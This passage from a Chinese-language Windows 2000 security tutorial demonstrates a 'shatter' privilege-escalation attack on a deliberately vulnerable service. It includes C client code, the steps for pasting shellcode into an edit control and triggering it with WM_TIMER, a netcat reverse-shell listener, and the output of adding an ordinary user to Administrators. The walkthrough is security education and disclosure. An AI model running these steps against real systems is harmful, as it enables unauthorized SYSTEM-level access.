IMITTEXT, (WPARAM) SIZEOFBUF,
(LPARAM)0);
SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,
(LPARAM) l_pDlgParam->msg );
SetForegroundWindow(hwnd);
return FALSE;
}
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_OK:
EndDialog(hwnd, IDC_OK);
return FALSE;
default:
return FALSE;
}
}
}
return FALSE;
} <===============================================>
下面是程序Client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:
<=======================Client========================>
// client.cpp : Defines the entry point for the console
application.
//
#include
#include
#include
#include
int main(int argc, char* argv[])
{
char inbuf[80];
char outbuf[80];
DWORD bytesRead;
BOOL ret;
LPSTR lpszPipeName = "\\\\.\\pipe\\simple";
LPSTR lpszString = "World";
strcpy( outbuf, lpszString );
ret = CallNamedPipeA(lpszPipeName,
outbuf, sizeof(outbuf),
inbuf, sizeof(inbuf),
&bytesRead, NMPWAIT_WAIT_FOREVER);
if (!ret) {
printf("client: CallNamedPipe failed for %d\n",
GetLastError());
exit(1);
}
printf("client: received: %s\n", inbuf);
return 0;
}
<==================================================>
FOON编写了一个攻击工具Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程,它首先把Window中Edit Control的尺寸(Size)扩大,然后把可执行的黑客码沾贴到Edit中,这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧!接下来我们就要寻找黑客码在内存中的地址,FOON是用Windbg去寻找这个地址的,详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”,迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成,它产生一个远程的cmd shell联结回到Client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。
我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是如何通过Shatter提升权限的:
先以普通用户“moda”登录,看看本地Administrators组当前的成员:
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
D:\MyJob\tool\netcat>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
Administrator
The command completed successfully.
本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。
D:\MyJob\tool\netcat>net localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
很惨呀,得了一个“Access is denied.”的错误。
下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:
这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:
第一步:我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。
第二步:把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。
第三步:利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。
第四步:另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:
D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
第五步:向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。
D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
第六步: 现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:
D:\WINNT\system32>net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.
D:\WINNT\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
Administrator moda
The command completed successfully.
D:\WINNT\system32>
D:\WINNT\system32>
以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。
各位,编程序时要记住不要在阿猫阿狗的Desktop上创建Window啊!如果你给它们机会,阿猫阿狗也会成精的!
结尾的话:
提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得Administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等,我这里只是挂一漏万地介绍其中几个。
·上一篇: 暂时空缺
·下一篇: Win2K系统几个攻击实例成败心得(五)
|